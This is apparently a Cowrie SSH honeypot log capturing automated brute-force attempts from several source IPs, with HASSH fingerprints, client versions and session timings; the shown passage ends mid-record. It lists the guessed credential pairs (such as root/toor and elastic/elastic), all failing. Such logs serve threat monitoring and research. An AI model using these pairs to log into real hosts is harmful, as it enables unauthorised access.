{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:05.052762Z","src_ip":"163.7.9.84","session":"337071a39cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:05.771731Z","src_ip":"43.163.119.215","session":"ac98d74231fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpwd","message":"login attempt [root/rootpwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:06.088557Z","src_ip":"163.7.9.84","session":"337071a39cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:07.341523Z","src_ip":"163.7.9.84","session":"337071a39cde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59900,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d2a4cd7350b","protocol":"ssh","message":"New connection: 43.163.119.215:59900 (10.17.0.5:22) [session: 5d2a4cd7350b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:14.189004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:14.193287Z","src_ip":"43.163.119.215","session":"5d2a4cd7350b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:14.433729Z","src_ip":"43.163.119.215","session":"5d2a4cd7350b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59908,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddd6cc7608ec","protocol":"ssh","message":"New connection: 43.163.119.215:59908 (10.17.0.5:22) [session: ddd6cc7608ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:14.495646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:14.499576Z","src_ip":"43.163.119.215","session":"ddd6cc7608ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:14.737007Z","src_ip":"43.163.119.215","session":"ddd6cc7608ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:15.159567Z","src_ip":"43.163.119.215","session":"5d2a4cd7350b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:15.726566Z","src_ip":"43.163.119.215","session":"ddd6cc7608ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:16.399182Z","src_ip":"43.163.119.215","session":"5d2a4cd7350b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:16.966858Z","src_ip":"43.163.119.215","session":"ddd6cc7608ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35834,"dst_ip":"159.203.135.109","dst_port":22,"session":"edc90ae00a1f","protocol":"ssh","message":"New connection: 103.75.199.4:35834 (159.203.135.109:22) [session: edc90ae00a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:21.152395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:21.157028Z","src_ip":"103.75.199.4","session":"edc90ae00a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:21.251030Z","src_ip":"103.75.199.4","session":"edc90ae00a1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:21.521957Z","src_ip":"103.75.199.4","session":"edc90ae00a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:22.615523Z","src_ip":"103.75.199.4","session":"edc90ae00a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":42596,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa5d352bb622","protocol":"ssh","message":"New connection: 154.83.196.237:42596 (159.203.135.109:22) [session: fa5d352bb622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:22.669872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:22.674008Z","src_ip":"154.83.196.237","session":"fa5d352bb622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:22.793667Z","src_ip":"154.83.196.237","session":"fa5d352bb622","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":49686,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9ae7e4ea605","protocol":"ssh","message":"New connection: 67.102.183.113:49686 (10.17.0.5:22) [session: c9ae7e4ea605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:22.948644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:22.952826Z","src_ip":"67.102.183.113","session":"c9ae7e4ea605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:23.022835Z","src_ip":"67.102.183.113","session":"c9ae7e4ea605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dominus","message":"login attempt [root/dominus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:23.309587Z","src_ip":"154.83.196.237","session":"fa5d352bb622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123456","message":"login attempt [root/Pass123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:23.336915Z","src_ip":"67.102.183.113","session":"c9ae7e4ea605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:24.409433Z","src_ip":"67.102.183.113","session":"c9ae7e4ea605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:24.433247Z","src_ip":"154.83.196.237","session":"fa5d352bb622","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":34994,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e9ec4d6eb69","protocol":"ssh","message":"New connection: 101.109.219.135:34994 (10.17.0.5:22) [session: 0e9ec4d6eb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:26.623780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:26.627774Z","src_ip":"101.109.219.135","session":"0e9ec4d6eb69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":36864,"dst_ip":"159.203.135.109","dst_port":22,"session":"601961aaeb92","protocol":"ssh","message":"New connection: 202.29.225.206:36864 (159.203.135.109:22) [session: 601961aaeb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:26.715666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:26.720824Z","src_ip":"202.29.225.206","session":"601961aaeb92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:26.880131Z","src_ip":"101.109.219.135","session":"0e9ec4d6eb69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:26.972657Z","src_ip":"202.29.225.206","session":"601961aaeb92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyager","message":"login attempt [root/voyager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:27.917799Z","src_ip":"101.109.219.135","session":"0e9ec4d6eb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hp@123","message":"login attempt [root/hp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:28.005948Z","src_ip":"202.29.225.206","session":"601961aaeb92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":55368,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e81ee9a4fc","protocol":"ssh","message":"New connection: 43.163.119.215:55368 (10.17.0.5:22) [session: 55e81ee9a4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:29.102505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:29.106303Z","src_ip":"43.163.119.215","session":"55e81ee9a4fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:29.172833Z","src_ip":"101.109.219.135","session":"0e9ec4d6eb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:29.256418Z","src_ip":"202.29.225.206","session":"601961aaeb92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 